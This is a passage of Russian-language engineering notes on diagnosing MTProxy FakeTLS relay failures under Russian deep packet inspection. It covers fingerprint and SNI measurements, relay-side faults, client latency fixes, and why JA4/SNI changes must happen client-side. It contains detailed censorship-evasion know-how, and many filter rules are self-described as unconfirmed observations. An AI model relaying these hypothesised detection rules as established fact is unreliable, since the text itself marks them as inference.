`www.google.com`, `www.cloudflare.com`, `cdn.jsdelivr.net`, `www.gosuslugi.ru`, `vk.com`, `www.tinkoff.ru` | 0 / 3 | Проходят ровно три имени, и все три — поддомены `microsoft.com`. При этом `login.microsoftonline.com` **не** проходит: список ведётся по домену второго уровня, а не по подстроке «microsoft». Это не блокировка отпечатка и не блокировка адреса в чистом виде, а **заблокированный адрес с белым списком имён**: TLS к нему пропускают, только если SNI из привилегированного набора — очевидно, чтобы не ломать обновления Windows. Отсюда прямое решение: ключ с маскируемым домеником из `microsoft.com` на том же адресе, менять адрес не нужно. Проверять релеем важно с обеих сторон: с чистой сети тот же релей ответил на **все четырнадцать** имён, включая `ya.ru` и `vk.com`. Значит различие создаёт сеть, а не релей — версия «релей не отвечает на чужой SNI» опровергнута измерением. > [!warning] Подменить имя на стороне клиента нельзя > Соблазнительная мысль: если сеть режет по имени, пусть клиент пошлёт другое имя с тем же ключом — и ключ менять не надо. Не работает. На живом релее с секретом `espn.com`: hello с его собственным именем верифицируется, а `update.microsoft.com`, `www.google.com` и даже трёхбайтовое `a.b` — с тем же ключом и корректно посчитанным digest — уходят в камуфляж. Релей сравнивает SNI с настроенным доменом отдельно от подписи. > > Отсюда же читается и предыдущий абзац: «пришёл TLS-ответ» в переборе имён означал ответ **камуфляжного сайта**, то есть «пакет дошёл», а не «релей принял». Поэтому имя, прошедшее перебор, годится только как кандидат: ключ с ним должен выпустить сервер, и проверять надо по HMAC. > [!warning] Блокировка непостоянна во времени > На релее, где `chrome_modern` устойчиво отвергался (2/4 и 1/6 в нескольких прогонах), отдельный прогон **двадцати пяти подряд идентичных** hello этого профиля прошёл целиком: 25 из 25 приняты. То есть отпечаток режут эпизодически, а не всегда. > > Что из этого следует для прежних выводов. Сравнения «одна переменная, руки чередуются в раунде» остаются в силе: обе руки в паре получали одинаковые условия, и разделение 1/6 против 6/6 не объясняется дрейфом. А вот версия про **накопительный порог** («блок включается после первого-второго эталонного hello») этим прогоном не подтверждается — 25 попыток подряд не включили ничего. Правдоподобнее выборочная проверка части соединений, состояние которой меняется само. > > Практический смысл `withheld` от этого не меняется: посылать отпечаток, который на части соединений режут, незачем. Но измерять состояние блокировки надо в тот момент, когда она активна — то есть когда клиент уже показывает тишину, а не в произвольное время. ### Ловушка при подборе ручек **Менять длину `session_id` нельзя** — не из-за фильтра, а из-за самого релея: hello с 31 и 30 байтами уходит на камуфляж и возвращает чужой digest, потому что релей читает пакет по смещению, рассчитанному на 32 байта, как у любого настоящего браузера. Обнаружено прогоном на **чистой** сети, где такая рука обязана проходить: она единственная дала `digest MISMATCH`, пока остальные двенадцать верифицировались. Отсюда правило для таких опытов: **сначала прогнать весь набор рук там, где блокировок нет**. Рука, которую не принимает релей, на фильтрованной сети выглядит точно как отвергнутый отпечаток, и вывод из неё будет ложным. ### Насколько это доказано Разделять стоит три вещи, у них разная надёжность. **Измерено и воспроизведено** (на это можно опираться): - Какие отпечатки отвергаются, а какие проходят: шесть профилей × двенадцать попыток на двух сетях, плюс тринадцать рук × шесть и тринадцать × четыре в двух отдельных прогонах. Разделение всегда одно и то же. - Что снимает блокировку при неизменном остальном: значение байта, его позиция, длина ECH payload, лишнее двухбайтовое расширение, укороченный `enc`. Каждое — отдельным однопеременным сравнением. - Что не является причиной: размер пакета, незафлашенная запись, пост-квантовый key_share, порядок расширений, JA4, чётность длины. Каждое закрыто своим измерением, а не рассуждением. - Что подделка проходит, а подлинный браузерный дамп нет. **Модель, согласованная со всеми данными, но не наблюдавшаяся напрямую**: «фильтр сверяет hello с эталонными отпечатками браузеров и режет точные совпадения». Внутренностей фильтра никто не видел; любое описание, дающее те же предсказания, подходит не хуже. Это объяснение полезно как рабочая гипотеза и не должно подаваться как факт. **Границы, за которые данные не выходят**: - Один провайдер, одна точка доступа, один релей (два IP). Про другие сети это ничего не говорит. - Одни сутки. Блокировка имеет состояние (включается со второго-третьего соединения), а значит и правила могут меняться. - Проверены четыре поля из многих. Что ещё входит в совпадение — неизвестно; известно лишь, что каждого из проверенных достаточно, чтобы из него выйти. Практический вывод от модели не зависит: клиент посылает шаблон, который на обеих сетях отвечали всегда, и это измерение, а не объяснение. > Пока это не измерено, причина в заметке стоит как «отпечаток такой-то отвергается», а не как объяснение. Для дела это не критично: правка в клиенте стоит на измерении, а не на объяснении. ### Метод, который сработал Все пять промахов родились из попытки объяснить механизм. Попадание пришло от перебора: **послать с проблемной машины байты каждого варианта, который умеет сам клиент, и посмотреть, какие проходят**. Три правила, которые из этого следуют: - **Строить пробу из правил клиента, а не «похоже на клиент».** Проба, собранная по своему разумению, случайно оказалась старым 517-байтным шаблоном и потому проходила всюду — именно она и увела в сторону размера пакета. Правила надо разбирать из исходника клиента, тогда сравнение честное. - **Перебор вариантов дешевле объяснения.** Шесть профилей × двенадцать попыток — двадцать минут. Пять гипотез о механизме — полдня. - **Одна переменная за раз, руки чередовать.** Когда пришло время проверять механизм, сработала схема «один профиль, две руки, различие в одном поле, раунды по кругу»: сеть, которая режет пачками, не может подыграть одной руке. Ей же и опровергнут порядок расширений. ### Как снять эталонный дамп браузера Проверять копию не с чем, пока нет оригинала. Достаточно двадцати строк: слушатель на порту, первый ClientHello целиком, hex в файл. Открывать надо `https://localhost:<порт>/` — **по имени, не по IP**, иначе браузер не пошлёт SNI и дамп будет непригоден. Браузер покажет ошибку, это и значит, что дамп снят. Три ловушки, каждая из которых стоила отдельной отладки: - **В SNI-расширении две длины в двух байтах друг от друга** — длина расширения и длина списка имён, они различаются на 2. Записать одно значение в оба — релей ответит TLS-алертом. - **Поле random нужно занулить перед подсчётом HMAC.** В шаблоне оно нулевое по построению, в захвате там байты браузера, и digest не сойдётся. - **Защита от повторов отбивает побайтово одинаковый hello.** Захват неизменен, поэтому вторая и третья попытки уходят в камуфляж — выглядит в точности как отвергнутый отпечаток. Настоящий браузер каждый раз ставит новый `session_id`; в пробе надо делать то же. Что дал дамп: наш шаблон `yandex` оказался очень близкой копией. Совпадает набор шифров, совпадает набор расширений (шестнадцать плюс два GREASE по краям), совпадают три key_share (GREASE 1 байт, `0x11ec` 1216 байт, `0x001d` 32 байта), совпадает JA4. Расходятся две вещи: payload ECH (у браузера 240 байт, у нас случайный из 144/176/208/240) и тот самый GREASE-байт — у браузера он **есть**. И главное, чего от дампа не ждали: он оказался не эталоном для подгонки, а независимой проверкой правила — см. [[#Настоящий браузер эта сеть тоже отвергает]]. Копия проходит, оригинал нет. ### Что из этого сделано в клиенте Отпечаток: - `Auto` больше не разворачивается в `chrome_modern`, дефолт — `yandex` (`b334f9c137`). - Оба отвергаемых шаблона помечены `withheld` и отводятся к дефолту **в обоих местах**, где настройка превращается в hello, так что выбранный руками `chrome_modern` тоже не уйдёт в сеть. Сами шаблоны остались в таблице со своими метаданными о захвате — JA4-гард на них продолжает работать. - Рядом с шаблоном `yandex` стоит предупреждение не «улучшать» его до точной копии браузера, и это закреплено тестом: измерено, что точная копия отвергается, а неточная проходит. Задержка: - Интервал между дозвонами к одному релею снижен с 250 до 50 мс. Основание — измерение: двадцать четыре дозвона вообще без интервала дошли до `resPQ` все двадцать четыре, вся пачка за 170 мс, тогда как через очередь те же двадцать четыре стоили около шести секунд. Рост интервала при промахах не тронут — именно он защищает релей, который действительно не тянет пачку. - Выключен алгоритм Нейгла (`TCP_NODELAY`) на обоих транспортах. Тонкость: Qt применяет опции сокета через движок, который появляется только после установления соединения, поэтому ставить их в конструкторе бесполезно — нужно в обработчике подключения. Диагностика: - При «hello ушёл, ответа нет» в лог пишутся состояние сокета, число непрочитанных байт и число уведомлений о чтении (`fb0c74e0d4`) — это отличает «ответ не пришёл» от «ответ пришёл и не был прочитан». - Хеш маскируемого домена в логе теперь солится случайным значением, взятым один раз за запуск. Причина прозаична: восемь байт SHA-256 от короткого доменного имени подбираются по словарю мгновенно — именно так `www.google.com` был восстановлен из настоящего лога за доли секунды. Внутри одного лога поле по-прежнему позволяет сопоставлять соединения, но имя из него больше не достать. - `flush()` в обоих путях записи hello (`6a059504db`) оставлен, хотя причиной не был: полагаться на проход event loop там, где сразу за записью включается таймер, всё равно нельзя. ### Отвергнутая гипотеза: незафлашенная запись Дальше в клиенте нашлась асимметрия, которая выглядела как объяснение: `QTcpSocket::write()` не отправляет данные, а ставит их в буфер, и уходят они, когда поток в следующий раз вернётся в event loop. Фрагментированный путь записи hello всегда делал `flush()`, а нефрагментированный — тот, которым идёт каждое соединение к mtproxy, — не делал ни разу. Клиент при этом сразу после записи запускает пятисекундный отсчёт ожидания ответа, и в логе честно писал `mtproxy client hello queued locally`. Форма отказа совпадала до буквы: `ch_accepted == ch_bytes`, `rx_after_ch=0`, `close_origin=local_timeout`. Гипотеза **опровергнута тем же логом**, до того как собрался билд с исправлением. Два независимых замера: 1. **Таймаут срабатывает вовремя.** По 21 отказу интервал от `client_hello_sent` до `failed` равен 4.999–5.012 с. Таймер ожидания ServerHello живёт на том же потоке, что и сокет, значит его event loop исправно крутился и в конце пятисекундного окна. Чтобы незафлашенная запись пролежала все пять секунд, поток должен был не возвращаться в цикл ни разу — и тогда таймер не мог бы отработать с точностью до 12 мс, причём двадцать один раз подряд. 2. **Молчат и уже установленные соединения.** Четыре первых соединения к релею полностью прошли рукопожатие, два получили ключ, одно — первые данные Telegram. Затем создание ключа на третьем и четвёртом **не завершилось никогда**, а все четыре получили `mtp_receive_timeout` через 8–9 секунд. Незафлашенный hello физически не может остановить приём на соединении, которое уже обменивалось данными в обе стороны. Правку (`6a059504db`, флаш в обоих путях) оставили: полагаться на проход event loop там, где сразу за записью включается таймер, всё равно неправильно. Но причиной наблюдаемого отказа она не была, и записывать её в «исправлено» нельзя. ### Что на самом деле показывает лог Симптом сформулирован неверно с самого начала. Это не «новые соединения не получают ответа», а **вся обратка от релея замолкает разом**, примерно через 1.1 с после первого успешного соединения: и новые сокеты, и уже работавшие. При этом TCP-рукопожатие к тому же адресу продолжает проходить (`tcp_connected` спустя семь секунд после начала тишины). Повторяется на трёх релеях подряд с одинаковым профилем: 3–4 полностью успешных соединения, дальше ноль. Отсюда следует главное: **отказ находится за пределами формата пакета и за пределами кода отправки**. Так выглядит либо обрыв у релея на его пути к Telegram, либо фильтрация обратного потока на маршруте после того, как поток классифицирован. Первое подтверждение второй природы получено 26 июля в 12:30 UTC на обоих присланных релеях: FakeTLS-фронт по-прежнему отвечает `ServerHello` с верным digest за 15–46 мс, но сразу после 64-байтного obfuscated2-init релей закрывает соединение (FIN), не дожидаясь даже `req_pq`. То есть первый уровень жив, второго за ним в этот момент нет. Форма отличается от клиентской (там была тишина без FIN), поэтому это не то же самое событие — но это прямое доказательство, что второй уровень у этих релеев ломается независимо от клиента. ### Проверка сделана: виноват релей, а не клиент 26 июля проба, повторяющая схему дозвона клиента (соединение каждые 370 мс по восьми дата-центрам, затем `req_pq` каждые 500 мс на каждом), была запущена **с двух разных машин** — с сервера в другой стране и с той самой машины, где симптом. Результат идентичный на обеих: - `ServerHello` с верным digest приходит за 20–28 мс на всех восьми соединениях; - сразу после 64-байтного obfuscated2-init релей закрывает соединение (FIN), **не дожидаясь `req_pq`**; - `resPQ` не приходит ни разу; одно соединение прожило 20 секунд и получило 38 запросов без единого ответа. Первый уровень (FakeTLS-фронт) полностью исправен, второго за ним нет. Клиент в этой картине не участвует вообще — воспроизводится восьмьюдесятью строками Python. Совпадение результата с двух разных сетей исключает и маршрут пользователя. ### Как выглядит релей, который «падает», в логе клиента Второй лог того же дня — другой прокси (`telegram.monkeyvillage.pro:443`, два адреса, **обычный obfuscated2 без FakeTLS**) и другая форма отказа. Сессии там работают: ключи создаются, файлы скачиваются. Но за 31 секунду — 73 события `error=remote_closed`, и распределены они не случайно: - закрытия приходят **синхронными пачками**: 16 кластеров, крупнейший — **27 сокетов за 156 мс**, второй — 9 за 129 мс; - все кластеры приходятся на **одну и ту же долю секунды** (.87–.93). То есть на релее раз в секунду срабатывает какая-то уборка, а не индивидуальные таймауты соединений; - медианный срок жизни сокета после `connected` — 3 секунды. Контрольный замер: тридцать **простаивающих** TCP-соединений к тому же адресу, удерживаемые 25 секунд, не закрылись ни одно. Значит это не лимит на число соединений и не таймаут простоя — уборка выкашивает именно те сокеты, по которым идёт трафик. Сходится с первым случаем: ломается плечо **релей → Telegram**, а не клиентская сторона. Что смотреть на сервере в таком случае: свежесть `proxy-secret` и `proxy-multi.conf` (устаревшие — классическая причина «рукопожатие прошло, дальше ничего»), перезапуски и OOM воркеров прокси, переполнение таблицы `nf_conntrack`. ### Чем клиент делает хуже Отказ серверный, но клиент подносит спичку. По тому же логу: **88 дозвонов за 31 секунду**, до **28 одновременных установленных соединений** к одному прокси, из них **14 сокетов — чистые потери**: клиент на каждое соединение гонку между двумя IP прокси и проигравшего закрывает. Плюс каждая медиа-полоса поднимает свою сессию — к одному DC 2 их в логе три (`160002`, `170002`, `180002`). Любой серверный лимит при таком профиле срабатывает в разы раньше, чем при одном сокете на сессию. --- ## Задержка: где она на самом деле Жалоба «через прокси всё медленно и пинг большой» почти всегда приписывается сети. Померив, оказалось наоборот: сеть добавляет ноль, а секунды создаёт сам клиент. Разбирать надо по слоям, потому что каждый слой чинится по-своему. ### Три слоя, которые надо мерить отдельно Одно соединение раскладывается на три измеримых отрезка: - **tcp** — от SYN до SYN/ACK. Это путь до релея: география и оператор. - **faketls** — от ClientHello до ServerHello. Релей отвечает сам, никуда не ходя. - **respq** — от `req_pq_multi` до `resPQ`. Этот пакет идёт релей → Telegram → релей, поэтому **`respq` минус `tcp`** — примерно та дорога, которую релей добавляет позади себя. Измерения с двух машин, одна на фильтрованной сети, одна на чистой: | откуда | релей | tcp | faketls | respq | «за релеем» | |---|---|---|---|---|---| | фильтрованная | `194.39.110.183` | 70 | 71 | 94 | ~24 | | фильтрованная | `159.194.198.73` | 17 | 9 | 55 | ~38 | | чистая | `159.194.198.73` | 11 | 11 | 56 | ~45 | Две вещи читаются сразу. Первая: на одном и том же релее фильтрованная и чистая сеть дают **одинаковые** цифры (17/55 против 11/56) — значит фильтрация не добавляет задержки, она либо пропускает, либо режет. Вторая: релеи различаются вдвое по суммарному RTT (55 против 94 мс), причём по разным причинам — первый дальше от Telegram, второй дальше от клиента. Выбирать релей по одному лишь пингу до него неправильно: `tcp` у `194.39.110.183` вчетверо хуже, зато позади него дорога короче. Отдельно проверено, что установленное соединение живёт: пятьдесят запросов подряд за 245 секунд, все отвечены за ~90 мс без единого пропуска. Симптом «релей замолкает» на этом релее не воспроизводится — значит он относится к конкретным релеям, а не к схеме. ### Что создаёт задержку на самом деле Раз сеть даёт 55–94 мс, а в клиенте ощущается заметно больше, разница делается внутри клиента. Нашлось два источника. **Очередь дозвонов.** Клиент разносил каждую попытку к одному релею на четверть секунды. Холодный старт открывает десятки сокетов, поэтому последние ждали секундами: в логе видно прямо — `tcp_ms` доходит до 8666 мс там, где сетевой round trip 17 мс. Обоснование у этого разноса было такое: приходить как отдельные клиенты, а не одной пачкой, чтобы не выделяться. Две вещи это обоснование сняли — во-первых, стало известно, на что фильтр реально смотрит (форма hello и имя в SNI, не тайминг), во-вторых, измерена цена: **двадцать четыре совершенно непейсеных дозвона дошли до resPQ 24 из 24, вся пачка за 170 мс**. Те же двадцать четыре через очередь стоили около шести секунд. **Nagle.** Отключение (`TCP_NODELAY`) не выставлялось нигде в дереве. Алгоритм придерживает короткую запись, пока не подтверждена предыдущая — а mtproto именно так и устроен: короткий запрос, потом ожидание. Тонкость реализации: Qt применяет опции сокета через движок, который появляется только после установления соединения, поэтому ставить их в конструкторе бесполезно, нужно в обработчике `connected`. Оба исправлены (`7b3bd451f5`): разнос снижен до 50 мс, `LowDelayOption` выставляется на обоих транспортах после подключения. Эскалация разноса при неудачах не тронута — именно она защищает релей, который действительно глотает пачку. > [!tip] Как выбирать релей по скорости > Сравнивать надо не пинг до релея, а сумму: `tcp` плюс то, что позади. Релей с отличным пингом, но далёкий от дата-центра Telegram, окажется медленнее скромного, стоящего рядом с ним. Меряется одной командой на каждый релей, за минуту. --- ## Чего проба не показывает - **Какая именно сборка стоит на площадке.** vpnbot умеет ставить mtg, официальный MTProxy и telemt ([[Zapret/mtproto/03-telemt|разбор telemt]], [[Zapret/mtproto/04-mtg|разбор mtg]]); версию у релеев напрямую не спрашивали. Косвенных признаков хватает: порог 517, потолок 4096, запас будущего ровно +3 секунды и дрейфующая нижняя граница — всё это поведение официального кода, и ни одна измеренная величина ему не противоречит. Но «ведёт себя как MTProxy» — не то же самое, что «это MTProxy». - **Поведение под DPI.** Проба идёт из сети без активной фильтрации, поэтому она ничего не говорит про блокировки на маршруте — этим занимается [[Zapret/mtproto/05-censorship|разбор каскада детекции ТСПУ]]. - **Долгую работу соединения.** Проверяется путь до первого ответа Telegram; деградация на длинных сессиях, потеря соединений и скорость передачи остаются за рамками. - **Мобильные сети.** Часть операторов ограничивает доступ к прокси по IP-диапазонам, и это видно только с самого устройства. --- ## Чек-лист диагностики - [ ] Проверить TCP-доступность хоста, и не на одном порту, а на **всех открытых** — это отсекает сразу три остальных механизма. Если рукопожатие не встаёт, содержимое hello уже ни при чём. Различать исходы: таймаут в десятки секунд — фильтр глотает SYN; мгновенный RST — скорее закрытый порт. Измерено: адрес, доступный извне на 8445, 443 и 8443, с фильтрованной сети дал `False` на всех трёх с задержками 30–37 с, тогда как снаружи — 1–2 с. Такой адрес не лечится ни доменом, ни отпечатком, нужен другой. - [ ] Отправить канонический 517-байтный ClientHello и **сверить HMAC ответа**, а не только префикс `16 03 03`. - [ ] Каждую попытку генерировать заново — повтор идентичного пакета отбивается защитой от повторов. - [ ] Сверить часы устройства: спешка даже на минуту уводит соединение на камуфляж, а на закрытой сети клиенту нечем их поправить. - [ ] Если есть лог клиента — посмотреть, зависит ли длина ClientHello от длины SNI: одинаковая разница `длина − длина_SNI` на разных прокси означает, что padding не работает. Размер ответа при этом ни о чём не говорит — см. раздел про то, почему он не решает. - [ ] Если рукопожатие проходит, довести пробу до `resPQ` — так проверяется тег протокола и весь путь до Telegram. - [ ] Если и `resPQ` приходит, релей исправен: дальше искать в клиенте (длина и форма ClientHello, выбор тега протокола, внутренние ограничители дозвона). - [ ] Прежде чем закладывать в клиент лимит параллельных подключений — измерить его на своих релеях, а не брать из чужих наблюдений. - [ ] Пробу запускать **с той машины, где симптом**; результат с другого хоста ничего не говорит о сети пользователя. - [ ] Сессии в пробе держать открытыми и с трафиком — клиент их держит, а проба, закрывающая соединение сразу, проверяет другой режим. - [ ] Если проба проходит, а клиент нет — сравнить размеры первого пакета: 517 байт укладываются в один TCP-сегмент, 1700–1800 нет. На проверенных релеях разницы нет, но это единственное отличие, которое видно на проводе, поэтому проверять дёшево. - [ ] Если и это совпало — искать не на проводе, а в клиенте: отправлена ли запись фактически (`write()` в Qt только ставит в очередь) и не занят ли поток, который должен прочитать ответ. Пробу для этого запускать **в момент зависания** клиента. - [ ] Если клиент умеет несколько профилей ClientHello — **перебрать их все с проблемной машины**, собирая байты из правил самого клиента. Это дешевле любой гипотезы о механизме и находит «сеть режет наш отпечаток» за двадцать минут. - [ ] Проверять отпечаток нельзя по JA4: он сортирует расширения и выбрасывает GREASE, поэтому два шаблона с одинаковым JA4 могут иметь разную судьбу на фильтрованной сети. - [ ] Считать успехом только верный HMAC ответа. Первые попытки могут проходить и после включения блокировки — она включается со второго-третьего соединения. - [ ] Не подгонять отпечаток «под настоящий браузер» без измерения: на фильтрованной сети побайтовый дамп браузера может отвергаться, а упрощённая копия проходить. Проверять надо тот отпечаток, который реально уйдёт в сеть, на той сети, где симптом. - [ ] Когда сравниваете две руки, различающиеся одним полем, **следить за размером**: правка тела расширения меняет ещё и длину hello, и без компенсации нельзя сказать, что именно измерено. Компенсировать удобно внутри GREASE key_share — его длина произвольна. --- ## 📚 См. также - [[mtproxy/ja4-sni-client-side|Кто может менять JA4 и SNI]] — почему форма ClientHello целиком на стороне клиента - [[mtproxy/tdlib-obf-client-side-stealth|Клиентская маскировка в TDLib]] — что можно менять в клиенте, не ломая совместимость - [[mtproxy/mtproto-zig|MTProxy и mtproto.zig]] — как устроен FakeTLS-релей изнутри - [[Zapret/mtproto/02-implementations|Реализации MTProto Proxy]] — mtg, официальный MTProxy, telemt и их различия - [[Zapret/mtproto/07-nginx-haproxy|MTProxy за nginx и HAProxy]] — как устроен камуфляжный фронт - [[Zapret/mtproto/08-best-practices|Практики эксплуатации MTProxy]] — что делать после того, как релей признан исправным - 🔗 [MTProxy: net/net-tcp-rpc-ext-server.c](https://github.com/telegramMessenger/MTProxy/blob/master/net/net-tcp-rpc-ext-server.c) — разбор ClientHello, `is_allowed_timestamp`, кеш client random и все константы из этой заметки - 🔗 [telemt: src/protocol/tls.rs](https://github.com/telemt/telemt/blob/master/src/protocol/tls.rs) — те же проверки в реализации на Rust, с другими порогами - 🔗 [mtg: mtglib/internal/tls/fake/client_side.go](https://github.com/9seconds/mtg/blob/master/mtglib/internal/tls/fake/client_side.go) — разбор рукопожатия в реализации на Go --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/mtproxy/faketls-relay-diagnosis.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-06-07 tags: - mtproto - mtproxy - dpi - tspu - ja4 - sni - faketls aliases: - Кто может менять JA4 и SNI - Почему обход MTProxy клиентский - JA4/SNI client-side - Детекция MTProto июнь 2026 link: https://gist.github.com/Flowseal/de630dd9d9ddaa86cc6bed9b473fae0c --- # 🪪 Кто может менять JA4/SNI и почему обход MTProxy — клиентский > [!info] О чём заметка > Разбор архитектурного факта, который определяет всю борьбу с новой детекцией MTProto: **TLS-почерк (JA4) и имя домена (SNI) задаёт клиент Telegram, а не сервер-прокси**. Поэтому чистые способы обхода (смена JA4, ротация SNI) работают только на **стороне клиента**, до цензора. Серверные прокси (mtproto.zig, telemt, teleproxy) изменить их физически не могут. > [!warning] Статус данных > Параметры детекции — наблюдения сообщества (реверс-инжиниринг, июнь 2026), а не опубликованная спецификация ТСПУ. Числа и условия читай как «по наблюдениям», у разных операторов они могут отличаться. Архитектурный вывод (ClientHello генерит клиент) — это свойство самого TLS, оно не зависит от наблюдений. --- ## Термины (чтобы заметка читалась без контекста) - **MTProxy / FakeTLS** — прокси для Telegram, маскирующий трафик под обычный HTTPS: первый пакет выглядит как TLS-рукопожатие к популярному сайту. - **ClientHello** — самый первый, ещё не зашифрованный пакет TLS-рукопожатия, который шлёт **клиент**. В нём открытым текстом: список шифров, расширения и **SNI** (имя домена, к которому якобы идёт подключение). - **JA4** — отпечаток ClientHello. Формат `t13d1516h2_…_…`: первая часть — **метаданные** (`t`=TLS-over-TCP, `13`=TLS 1.3, `d`=есть SNI, `15`=число шифров, `16`=число расширений, `h2`=ALPN) — она не хешируется; а две следующие — хеши шифров и расширений, **отсортированных** перед хешированием (GREASE при этом выкидывается). Сортировка делает JA4 устойчивым к перетасовке порядка, в отличие от старого JA3. По отпечатку DPI понимает, какая программа сгенерировала пакет. - **SNI** (Server Name Indication) — поле в ClientHello с именем домена. - **ТСПУ** — Технические Средства Противодействия Угрозам, DPI-оборудование у российских операторов. --- ## TL;DR 1. Новая детекция (примерно с **начала июня 2026**, по сообщениям сообщества) блокирует соединение, когда совпадают **три** условия: почерк **JA4 Telegram** + **один и тот же SNI** + **несколько ClientHello одновременно на один ip:port**. Слом любого одного условия — обход. 2. JA4 и SNI лежат в **ClientHello**, а его шлёт **клиент Telegram**. Цензор видит этот пакет по пути client→server. **Серверный прокси получает его уже после цензора — изменить не может.** 3. Поэтому смена JA4 и ротация SNI делаются **только клиентским relay** (локально, до цензора) — как в [тестовом relay Flowseal](https://gist.github.com/Flowseal/de630dd9d9ddaa86cc6bed9b473fae0c). 4. Серверный прокси (mtproto.zig/telemt/teleproxy) может бить только по третьему условию — «залп на один ip:port» (pacing, разные порты/IP). 5. На **Zig это реализуемо** — но как отдельный **клиентский** инструмент, не как серверный бинарь mtproto.zig. --- ## Сама детекция (наблюдения, июнь 2026) Блокировка включается, когда одновременно: 1. ClientHello несёт **JA4 Telegram** — `t13d1516h2_8daaf6152771_d8a2da3f94cd` (мимикрия под Chrome 134/macOS; этот почерк протух, разбор #30733 — в [[Zapret/mtproto/10-telemt-logs-dpi|10-telemt-logs-dpi]]); 2. у нескольких соединений **один и тот же SNI**; 3. они идут **залпом на один ip:port** (несколько ClientHello почти одновременно). Это логическое «И» — сломай любое условие, и правило не срабатывает. Что помогает (по тестам сообщества): - **смена JA4** (почерк перестаёт совпадать с известным Telegram); - **ротация SNI** (нет «одинакового SNI» в залпе). > [!warning] SNI лучше брать резолвящийся (гипотеза по аналогии с REALITY) > По наблюдениям для VLESS+REALITY цензор проверяет **A-запись** SNI (резолвится ли домен). Применяется ли такая же проверка к MTProto-FakeTLS — **отдельно не подтверждено**, так что это осторожная рекомендация, а не факт. Безопаснее ротировать по списку **реальных резолвящихся доменов**. Тонкость про случайные сабдомены: сабдомен резолвится, только если базовый домен имеет **wildcard A-запись**. В [relay Flowseal](https://gist.github.com/Flowseal/de630dd9d9ddaa86cc6bed9b473fae0c) режим `--unique-sni` клеит рандом к `--sni-base`; **по умолчанию** база — `www.cloudflare.com` (конкретный хост, не wildcard-зона), поэтому `.www.cloudflare.com` **не резолвится** — автор позиционирует дефолт как строгий тест «каждый SNI различается», а не как резолвящийся вариант. Чтобы сабдомены резолвились, нужно дать `--sni-base` **свой домен с wildcard** (это прямо предусмотрено в gist). Если проверка A-записи к MTProto всё же применяется, дефолтный `--unique-sni` — как раз потенциально рискованный режим. --- ## Это та же «И трёх условий», что и «сибирская» схема для VLESS Детект MTProto — не отдельное изобретение, а **частный случай** той же философии ТСПУ, что описана для VLESS+REALITY в [[VLESS/dpi-tls-june-2026|разборе «сибирской» схемы]] (первоисточник — [статья @hyperion_cs на Хабре](https://habr.com/ru/articles/1044396/)). > [!example] На пальцах > Цензор перестал «открывать чемоданы» (вскрывать шифр — бесполезно, крипта цела) и начал смотреть на **манеру пассажира**: откуда приехал, во что одет, как себя ведёт. Блокировка включается, **только когда совпали несколько признаков сразу** (логическое «И»). Сломай любой один — правило не сработает. Это верно и для VLESS, и для MTProto — меняются лишь конкретные «признаки». Отображение сигналов одной схемы на другую: | «Сибирская» схема (VLESS+REALITY) | Детект MTProto (июнь 2026) | |---|---| | **Подсеть** сервера в списке подозрительных | подсеть так же в игре (зарубежные ДЦ тоже в списке) | | **Фингерпринт** uTLS (массовый `chrome`) | **JA4 Telegram** `t13d1516h2_8daaf6152771_…` (мимикрия под Chrome 134) | | **Частота** к одному SNI (>3 конн. <~350-400 мс / 60 с) | **залп ClientHello** на один ip:port | | Ключ агрегации частоты — **SNI** | **одинаковый SNI** в залпе | > [!note] Про «подсеть» в строке выше > В первоисточнике сигнал подсети одинаков и для VLESS, и (по экстраполяции) для MTProxy: в список подозрительных попали **и российские** ДЦ (в статье поимённо — Selectel, Я.Облако, Cloud.ru), **и зарубежные** провайдеры (в статье — обобщённо «методы затрагивали только зарубежных»; по общему знанию это Hetzner/DigitalOcean/OVH, флагнуты ещё раньше). То есть «арендовать VPS за рубежом» **само по себе подсеть не ослабляет** — ослабляет лишь попадание в **нефлагнутую** подсеть (редкий чистый провайдер, residential, CDN) либо малый трафик. (Сам MTProxy в статье @hyperion_cs не разбирается — перенос на него сделан здесь по аналогии.) В обоих случаях это «И»: **сломай одно звено — обход**. Поэтому серверные меры (pacing, разные порты/домены) бьют по «частоте/залпу», а чистый слом «фингерпринта» (JA4) остаётся [[#Почему JA4/SNI меняются только на стороне клиента|клиентским]]. > [!important] Протухший пресет = сам по себе аномалия > Развивая логику фингерпринта (тезис из [[VLESS/dpi-tls-june-2026|разбора «сибирской» схемы]], по данным Cloudflare Radar — **не** из статьи @hyperion_cs, там фингерпринты делятся по марке браузера): важна не только марка, но и **свежесть пресета**. К концу 2025 больше половины «человеческих» TLS-соединений несут **post-quantum** `key_share` (`X25519MLKEM768`) — он стал дефолтом в Chrome 131 и Firefox 132. Пресет **без** него, выдающий себя за свежий браузер, аномален сам по себе. Это **можно трактовать как частный случай** беды Telegram из #30733: клиент шлёт почерк протухшего Chrome 134/macOS. (В самом #30733 проблема описана как устаревший отпечаток в целом, без явного указания на отсутствие ML-KEM.) Лечится только обновлением почерка **в клиенте** ([[Zapret/mtproto/10-telemt-logs-dpi|разбор #30733]]). > [!warning] «Ловушка для тех, кто дёргается» > В «сибирской» схеме эскалация на **~600 с** — это **второй шаг**, а не реакция на любую правку: сначала надо уже поймать первичную заморозку на 120 с (>3 параллельных конн. <~350-400 мс к одному SNI за 60 с), и **только потом**, если под этой заморозкой сменить фингерпринт, прилетает +600 с на весь TLS к узлу (независимо от почерка и SNI). Чистый перезапуск без залпа этого не вызывает. Вероятно, та же платформа ТСПУ обслуживает и MTProto, так что нервно крутить настройки **под уже действующей блокировкой** вредно: лучше переждать окно или сменить узел. (Точные тайминги и применимость к MTProto отдельно не подтверждены — это перенос логики со смежной схемы.) --- ## Почему JA4/SNI меняются только на стороне клиента > [!example] На пальцах > ClientHello — это **визитка, которую показывает сам гость** (приложение Telegram) на входе. Охранник (цензор ТСПУ) рассматривает визитку **по дороге**. Сервер-вышибала (прокси) получает гостя уже **после** охранника — переклеить визитку он не может, её давно увидели. ``` Telegram → [генерит ClientHello: JA4+SNI] → 👁 ЦЕНЗОР видит почерк → СЕРВЕР-прокси ▲ сюда пакет приходит уже после цензора ``` ClientHello — **первый** пакет рукопожатия, клиент строит и отправляет его до любого ответа сервера. Значит JA4 и SNI 